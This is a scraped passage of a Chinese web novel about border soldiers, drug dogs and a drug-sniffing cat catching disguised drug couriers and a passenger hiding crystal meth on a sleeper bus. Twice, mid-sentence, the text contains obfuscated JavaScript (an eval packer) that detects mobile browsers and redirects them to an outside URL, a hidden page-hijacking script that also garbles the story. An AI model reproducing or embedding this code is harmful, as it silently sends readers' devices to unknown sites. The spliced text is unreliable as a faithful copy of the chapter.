两个穿裙男人背靠着背,手中分别有一把小刀,抵在两个干瘦男人的脖子上,渗出了血痕。 传呼机男人面色涨红,眼睛凸出,浑身僵硬得如同被施了定身咒。 钥匙串男人满面痛苦之色却不敢出声,冷汗从他的额头滑落,咬牙用手捂着下身。 阿五张大的嘴简直可以塞下一整个鸡蛋,她实在想不到事情居然变成了如今这种模样。 方才战士请示了斯若虹后,准备趁着众人注意力都在贝莉身上时,将两个女嫌疑人带进室内,进行检查。 没想到刚走到女嫌疑人面前,话都没来得及说,女嫌疑人就抽出刀制住了身旁搂着他们的男人。 他们四人距离太近,战士实在来不及抢过刀。 而钥匙串男人只来得及吼出半句:“箱子是她……”就被黄裙男人从身后一个高抬腿,狠狠踢中了裆部。 钥匙串男人登时发出痛呼:“唔。” “妈的死流氓,忍你很久了。”黄裙男人“呸”了一声,尖声骂了一串不重样的国骂。 骂人居然都不忘遮掩自己的女子身份,阿五默默合上了嘴。见周围人群躁动,围住了现场四人,她赶忙退了出去。 阿五往耿思远的方向奔跑,遥遥瞧见耿思远拉住斯若虹说了两句话后,斯若虹没怎么犹豫就颔首同意,两人分开。 潘祥和程建树找到了耿思远汇合,阿五立刻寻了过去。 边防战士紧急将人群和那四个人隔开,斯若虹孤身上前,将两只手往下一压,对两人道:“请你们冷静,有什么诉求尽管说,只要不伤人。” 两人不语,黄裙男人不断咽着口水,紧盯斯若虹。红裙男人目光四处扫视,骤然夹着嗓子道:“那辆吉普车给我们!” 斯若虹看向角落的吉普车,思及之前看到的缉毒犬资料和耿思远说的话,语气平和道:“可以,但我身上没有钥匙,我们马上去拿。” 斯若虹侧头喊道:“小李,找小耿取钥匙!快!” 小李闻声一愣,马上会意,离开了现场。 不一会,耿思远和小李走了回来。 耿思远一副不情愿的模样,嘟嘟囔囔:“这可是公家的车,我怎么能随便把钥匙给你们呢?” 小李着急上火:“斯组长,耿司机他不肯给,一定要跟过来瞧瞧。” 黄裙男人激动道:“不给我就杀了他!” 耿思远吓得一抖:“啊?给,我给。算了,你们给吧。”他作势要将钥匙丢给小李。 红裙男人却厉声道:“不准给她,也不准给别人!我要你去把车开过来!” 耿思远一副天塌了的表情,手上拿着钥匙,抖抖索索道:“我就是个司机,也不是人家边防站的啊,不要杀我!” 他的泪水说流就流,胆小怕事的模样让周围的群众急得直上火。 红裙男人催促:“快!否则我杀了他。” 传呼机男人顿时感觉脖子一阵刺痛,吓得当场尿了裤子。 耿思远回头瞧了斯若虹一眼,做了个口型,就哭丧着脸往吉普车处走,刚走到车旁就摔了个大马趴,他赶忙起身,将钥匙插进了车门。 黄裙男人见状翻了白眼,红裙男人也稍稍放松了一下手。 随着钥匙咔哒一声,车门打开,两只身型矫健的缉毒犬从人群中猛然蹿出。 还不等现场众人将视线从吉普车和耿思远身上收回来。 小刀落地。 哀嚎声起。 两位穿裙男人的手分别被大王和贝莉咬住,边防战士迅速上前制住了两个嫌疑人,又将两个吓尿了裤子的干瘦男人带离了原地。 潘祥和程建树召回了大王和贝莉,肩上站着阿五的冯明站在他们两身旁,激动地满面通红。 现场除了两个穿裙男人的哀嚎声外,一片静默。 忽地,有人发出松了一大口气的声音。 “这缉毒犬太厉害了!” “我都没反应过来!” 阿五眼睛亮亮地瞧着大口喘息的大王和贝莉,满眼向往。 这就是经过基地训练后的缉毒犬吗,不仅可以嗅毒,还能制服歹人,她以后也一定要这么全能! 耿思远走了回来,潘祥和程建树带着大王和贝莉敬了个礼:“主任。” 众人新奇的目光落在了满面淡定的耿思远身上,原来他是装的。 “耿司机,你演技真好!” 之前那位身先士卒站出来让缉毒犬嗅闻的大哥喊道。 “还好还好,谢谢啊。”耿思远一怔,笑了笑,随即低头瞧着两只犬,“好样的。” 潘祥骄傲地蹲下身抱着大王的脑袋:“大王,超棒!” 大王拱着潘祥,尾巴狂摇。 程建树低头,贝莉咧着嘴偏头瞧着大王,尾巴垂了下去。他赶忙蹲下身抱住贝莉,语气难得激动:“贝莉,超级棒!” 贝莉垂着的尾巴立刻翘起,却克制着没有像大王一样摇成螺旋桨,而是将头拱进了程建树怀里。 两位嫌疑人被押进了屋内。 冯明走在斯若虹身旁:“斯组长,我已经联系了景洛缉毒队的同事,他们马上就来。” 斯若虹道:“好的。” 她偏头看向要进房间的两个女边防战士:“刘霞,郭亚男。” 刘霞和郭亚男停下:“斯组长。” 斯若虹低声道:“里头那两人有喉结,声音不自然,穿黄裙的那个腿毛旺盛,疑似男扮女装。” 刘霞和郭亚男对视一眼,正色应是,这才进了房间。 阿五惊讶地瞧着斯若虹:“喵呜?” 她不是一直在车顶上翻行李吗,什么时候发现的喉结! 冯明陷入了回忆,对斯若虹描述的细节居然没有印象,他由衷道:“厉害,斯组长。” 斯若虹瞧了眼阿五,没有接话,反而道:“还有个人有问题,现在他应该放松警惕了。” 说完,她带着边防战士往乘客中去了。 阿五一歪头,她没有闻到别人身上还有毒品的味道啊,嘶,难道是她没闻过的? 她顿时从冯明身上跳了下去,跟着斯若虹走了。阿五跟过来,本来就是想提醒一下他们,那两个人是男人。 冯明看看房间,挠挠头,也跑了。 顶棚下,两个干瘦男人正坐在地上缓神,被众人无情围观。 “哎呀,听说他们知道箱子是那两个毒贩的,不仅不和边防同志说,还见色起意威胁人家。” “然后两个大男人就被女的给挟持了。” “我之前可瞧见了,他们还亲切地搂着两毒贩的腰呢,近的边防同志都没来得救。” “真没用,给我们男的丢脸,连裤子都尿湿了。” “刚才他们还骂缉毒犬呢,嘴上不积德,现世报也来得快哦。” 两个干瘦男人脸涨得通红,羞耻地闭上眼,捂住了脸,不愿面对这噩梦般的一切。 边防战士已在热心群众和司机的帮助下,寻到了两个嫌疑人和被挟持人的铺位,将他们的行李拿了下来。 期间贝莉还嗅闻过嫌疑人的床铺,确认没有再藏别的毒品了。 人群中,一个看热闹起劲的黑T恤衫男子却渐渐被边防战士们围住,和旁人隔离开。 阿五连忙冲到黑T恤衫男子脚边闻了闻。 味道很杂乱,但确实没有她知道的毒品的气味。阿五想了想, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15406683|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转头冲上了卧铺车。 斯若虹走上前,微笑:“你好同志,请出示您的证件,谢谢。” 黑T恤衫男子愣住,面色大变,随即他不知想到了什么,又恢复了镇静:“好的,但我没带在身上,在床上放着,怎么了边防同志?” 斯若虹道:“那麻烦您带我们进车厢拿一下,非常感谢。” “行。”黑T恤衫男子眼皮垂下,轻轻呼了一口气,往车上走。 车门处的耿思远瞧见了这一幕,对车厢内的程建树道:“贝莉有闻到别的毒品味道吗?” 贝莉已经闻过了大半车厢,此时正在嗅闻后半部分铺位。 程建树道:“暂时没有异常。” 耿思远沉吟,进车厢找阿五。 阿五已经寻到了黑T恤衫男子的铺位,在中部车厢的上铺,她跳上去非常认真地嗅闻了一遍。 确实没有。 而且这个铺位贝莉已经闻过了,它既然没有反应,说明没有毒品。 可斯若虹为什么会觉得他有问题呢? 阿五思索片刻,开始在旁边几张床铺上寻找黑T恤衫男子的味道。 斯若虹等人已经上了车。 黑T恤衫男子和斯若虹攀谈:“我叫孔天,坐这趟车是为了去花市找工作,他们都说沿海地区赚钱容易。所以我也想去试试,好赚点钱回来讨个老婆。” 斯若虹道:“有亲戚朋友给你介绍工作吗?” 孔天沉默一瞬:“没,没有。我下车自己去找,男人嘛,靠自己。” “喵呜!” 一声猫叫响起。 斯若虹眼神一凌。 “咦?下面那只猫怎么跑上来啦?”孔天诧异地大声道,“不会在我们的床铺上尿尿吧?” 他赶忙冲到自己的铺位边,爬了上去,就见一只花斑猫蹲在他左边的床铺,歪着头瞧他。 一双无机质的绿色眼瞳仿佛将他看透。 孔天探身过去赶猫,刚抬起手,视线往下一瞥,一包“冰糖”模样的东西静静躺在床上,他瞬时僵住了。 在阿五身后,耿思远正站在梯子上,将他愣神的这一幕瞧了个清楚明白。 孔天面上的冷汗哗哗往下流,他梗着脖子移动了一下眼珠。 却见其他铺位的梯子上,斯若虹等边防战士也正冷冷盯着他。 “我……”孔天发现他的嗓子哑得厉害。 “咳。”孔天僵硬地道,“这猫怎么还吃冰糖啊。” 他转回头,将一只包从枕头下拿出,下了床铺,避开斯若虹的目光,将身份证给了她。 耿思远带上手套,将那包“冰糖”取下,仔细端详。 阿五站在铺位上,探头去看。 这东西既不是罂粟味,也没有酸味,而是一种很复杂、很难形容的味道。 瞧耿思远的样子,似乎对这种东西也很陌生。 斯若虹看着证件,忽然道:“那只猫不是普通猫,孔天你知道它是什么猫吗?” 孔天摇头道:“猫还能怎么不普通啊,难不成跟那两只狗一样……” 他话说到一半,突然闭嘴。 “对啊,是缉毒猫。”斯若虹一笑,“包装可以送去公安局检验指纹,你觉得那包冰糖上面,有谁的指纹呢?” 孔天浑身一抖。 “况且也不用这么麻烦,我们现场有两只缉毒犬,都可以来闻闻那包冰糖上主要沾了谁的味道。” 不知何时,程建树已经带着贝莉站在了孔天身后。 孔天后背一凉,往后一看,直接软在了地上。 “我说,我说。” “那包毒品是我的,我,我只是太害怕了。”孔天捂着脸,呜呜地哭着。 34.第 34 章 “他给了我一百块,让我帮忙把这包东西送到花市,到站会有人来接。”孔天哽咽着靠在床铺上,“我想想这点事情也不麻烦,就同意了。” 一百块!! 阿五瞪圆了眼。 她记得早上耿主任买糯米饭时,花了两块钱,后来给她买了一个鸡蛋,花了三毛钱。那一百块岂不是可以吃好久好久的鸡蛋和糯米饭了吗! 只是让别人帮忙带一下东西就给一百,阿五都有些心动了。 霎时间,梅文的狰狞样貌和梅秀惊慌失措的小脸交替出现在了她的眼前。阿五赶忙摇摇头,就算给她金子,她也不会带这种害人的东西! 斯若虹道:“谁让你帮的忙?朋友亲戚?” 孔天急切道:“不是不是,就是同村的而已。我们不熟的,他老在掸国,不太回村里。同志,我第一次干这个,不会死吧。” 耿思远闻闻那“冰糖”,没什么特别味道,插言道:“那人有和你说过这是什么吗?” 冯明也在一旁摸着下巴瞧,搞不明白这是哪种毒品,怎么以前没见过呢。 阿五站在卧铺的梯子上,伸着爪子去扒拉冯明。 她见冯明自觉靠了过来,就收好爪尖,熟练地上肩掉头,稳稳站在了冯明的肩膀上。 孔天擦掉眼泪扭头,从床铺间的空隙里看向耿思远:“没说,他让我把这东西当成冰糖。还让我买点辣椒粉、盐糖之类的,放一块,就更看不出来了。” “他说你们边防检查也不会那么细,问起来就说我去花市打工,那边口味清淡。要带点老家的调味品,不然吃不惯。” 说着说着,孔天忽然委屈起来。 “我本来是这么干的。但我又不傻,带包冰糖就给一百,哪有这种好事。再说这闻着就不是冰糖味,肯定是毒品。” “我又怕这毒品和辣椒粉放一块,到时候弄不清楚,我误吃了,那不就惨了嘛。所以我想来想去还是单独拿出来了,结果看到你们上车,我一慌,就…哎。” 孔天懊恼地捶了下膝盖。 阿五听了有些生气,原来你知道这东西吃了不好!但随即她又有些泄气,财帛动人心,只要于自己无害,别人又关他什么事呢。 斯若虹听完,偏头道:“孔天旁边铺位的是谁?去找一下。” 两位边防战士确认了铺位号,随后下了车。 冯明不爽:“我瞧你确实不傻,毕竟你还知道栽赃嫁祸嘛。晓得这是毒品,还塞到别人床铺底下?抓到了是要坐牢的!” “……”孔天心虚地低头扣着手指甲,“我当时也没想那么多。这个,这个要坐多久的牢啊?我家里还有个老妈妈,我要是坐牢了,她怎么办啊。” 冯明简直气死:“你带毒品的时候怎么不想想你的妈妈?等缉毒大队把你带回去,老实交代,看你态度好,说不准法院会给你少判一点时间。” “我一定老实交代!”孔天眼前一亮,又有了一点希望,“这就是戴罪立功吧,我晓得的。” 斯若虹最后确认道:“就带了那一包,没别的了吧?车顶上有没有行李,我们需要检查。” 孔天爬起身,有些激动:“有行李的,但行李没有别的毒品了。你们相信我,他就给了我这么一包。” 阿五听了却不由得有些怀疑,他说的是真话吗?就算他未曾说谎,这个车里是否还有别人带了这种毒品呢? 她思索再三,跳下了冯明的肩。准备从车头开始,再检查一遍车内是否还有别的“冰糖”。 “哎?”冯明被阿五忽上忽下的行为搞得摸不着头脑,他捏捏自己的肩膀,小声嘀咕道,“我疏于锻炼了?不好蹲吗?这挺厚实的啊。” 耿思远的目光从手上的“冰糖”转移到了阿五身上。 “只是例行检查而已。”斯若虹将证件还给孔天,让他将铺位上的东西收拾好,又对身后的边防战士道,“辛苦你带他去认一下行李。” 孔天将身份证放回包里,垂头丧气:“就一个包,铺位上没东西了。” 斯若虹侧身让开,孔天跟着边防战士下了车。 程建树一直带着贝莉在后面默默站着,见孔天下了车,他和贝莉这才穿过他们挡住的过道,来到了耿思远身旁。 他低头仔细观察了一番那包毒品,发现确实不太一样,这是一种类似于“冰糖”的晶体状物品。 接着他又凑近嗅了嗅,然后直起身:“耿主任,麻烦您让贝莉闻一下。”他没有带手套,不能直接触碰证物。 耿思远回神低下头,将“冰糖”放在贝莉的鼻子边。 程建树道:“贝莉,嗅。” 贝莉闭上嘴,仔细地嗅了嗅。 虽然它没有做出以往嗅到毒品后的示警反应,但程建树知道,贝莉已暂时记住了它的味道。 “耿主任,斯组长,我会带着贝莉再查一遍。”程建树摸摸贝莉的脑袋。 耿思远却道:“不用了,车里让阿五去查。建树,你再带着贝莉去一趟车顶吧。”他说完,看向斯若虹。 斯若虹稍作思考,直接点了头:“没问题。” 阿五能找出孔天隐藏的毒品,它的能力毋庸置疑。 程建树视线往前一扫,果然看见一只花斑小猫在卧铺间窜上窜下,既然斯若虹也没有意见,他二话不说:“好。” 他带着贝莉下了车。 不一会,头顶就传来了“咚咚”的响声。 耿思远将手套和毒品交给了斯若虹,自己则来到了阿五身边。 他瞧阿五丝毫没有分心抬头,专注嗅闻的模样,非常满意。 这是一只区别于它猫,能发挥主观能动性且很敬业的特殊小猫。 耿思远心中又喜又忧,思绪纷乱。 斯若虹仔细端详那包“冰糖”,她也没瞧出这是个什么毒品:“耿主任,你知道这是什么吗?” “是‘冰’。”耿思远道,“去年3月份在些乐市,当阳口岸,查到过一起运‘冰’的案件,那是我们云省头一次接触这种新毒品。” 他顿了顿:“这应该是第二起。” 斯若虹和冯明一怔,两人几乎同时想了起来。 “我记起来了!”冯明一拍手,“这东西在倭岛流行过好一阵,前几年别的城市也查到过,我记得沿海那边叫这个大力丸吧。” 耿思远道:“没错。” 斯若虹盯着这包晶莹剔透的东西,随后让车上还在的几位边防战士都瞧了瞧。 没几分钟,车顶的动静消失。 程建树带着贝莉上了车:“耿主任,斯组长,行李已确认,无异常。” 一位跟上来的边防战士接着道:“斯组长,已询问过孔天隔壁铺位的乘客,查看了证件,也无异常。” 斯若虹闻言道:“好的,辛苦了。” 等了几分钟,阿五也检查完了整个车厢的卧铺。 孔天确实没说谎,这辆车上也确实再没有别的“冰”了。 耿思远见状蹲下身,主动拍拍肩膀:“斯组长,阿五这边也检查完了,没问题。” 阿五踩上他的肩,被耿思远扛着,一行人鱼贯下了车。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15426432|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 有乘客见他们下来,就询问道:“边防同志,我们什么时候能走啊?时间耽误太久了。” 乘客们三三两两地从地上站起来。 恰好一辆面包车从不远处驶来,停在了卧铺车后。冯明一瞧车上下来的人,立刻迎了上去。 斯若虹瞧见了熟人,收回视线,对乘客道:“对不起,麻烦大家再等十分钟。” “行吧。”乘客们又坐了回去。 斯若虹道:“谢谢大家配合。” 另一边,冯明言简意赅地将两件毒品案件告知了景洛缉毒队的队长吴立新。他们海关调查科和缉毒队的队员常常互通有无,还挺熟悉的。 吴立新本是听说些乐缉毒犬基地的人在这里,才特意过来见一见。没想到赶路的这会工夫又多了一起案件,还是新毒品“冰”。 他对身后的队员使了眼色:“和孔天一块去花市。” 队员点点头,悄无声息地离开了。 吴立新和边防站的同志们也是旧相识了,双方照面后,吴立新看了那包“冰”,又问了孔天一些问题。最后斯若虹听了吴立新的计划,将孔天放回了车上。 卧铺车重新上客,不到十分钟,就驶离了西兴查缉点,向着目的地花市继续前进。 吴立新借了边防站的电话,匆匆离开汇报去了。 斯若虹带着耿思远、冯明和景洛缉毒队的队员进了关押两位穿裙男人的房间。 阿五歪着头,怎么一会不见,这两个男人就变成了短发,脸上还多了几道伤痕呢? 刘霞见他们进来:“报告组长!他们二人借口上厕所等理由,试图逃跑并袭击我们,被我们拿下。这些是搜身后,在他们身上查到的毒品。” 墙边的桌子上,摆着两顶长假发,一堆黑色包装的毒品。 “他们的行李箱内,也查出了一包同样包装的毒品。” 刘霞指指地上那只打开的玫红色行李箱。 行李箱内,一大堆花花绿绿的女士裙装旁,静静躺着一包毒品。 阿五无语地盯着被揍得老老实实的男人。 “……” 景洛缉毒队的队员一脸震惊,凑到冯明耳旁,悄声:“不是说女的吗?” “男扮女装,没来得及说。”冯明悄声回复。 耿思远确认行李箱有毒品后,就带着阿五离开了。 他也得尽快给基地打个电话。 不远处潘祥带着阿五勤勤恳恳工作,程建树正在顶棚下给贝莉喂水,耿思远索性将阿五托付给了程建树。 景洛缉毒队的人来也匆匆去也匆匆,他们得尽快回去处理案子。 时间一晃,夕阳西下。 一辆载着边防战士的卡车缓缓驶进西兴查缉点,斯若虹和战友交了班,收队上车。 等吃了晚饭,他们还要去流动查缉点设伏堵卡。 潘祥带着大王和阿五混了进去。 大王一上大卡车,就趴在了正中间,还随机将大脑袋放在了一位战士的腿上,得到了一顿爱的摸摸。 他们的脸庞年轻而疲惫,高原地区的阳光让他们的肤色都呈现出统一的棕。 阿五自来熟地蹲到了斯若虹的腿上,被温柔地梳了梳毛。 营房就在景洛口岸附近。 临近晚饭时间,小镇更是人来人往,热闹非凡。 街边的店铺陈列着琳琅满目的商品。 游人们穿着色彩斑斓的衣装,手里捧着各色小吃,脸上洋溢着新奇和满足之色,欣赏着这座充满了异域特色的边境小城。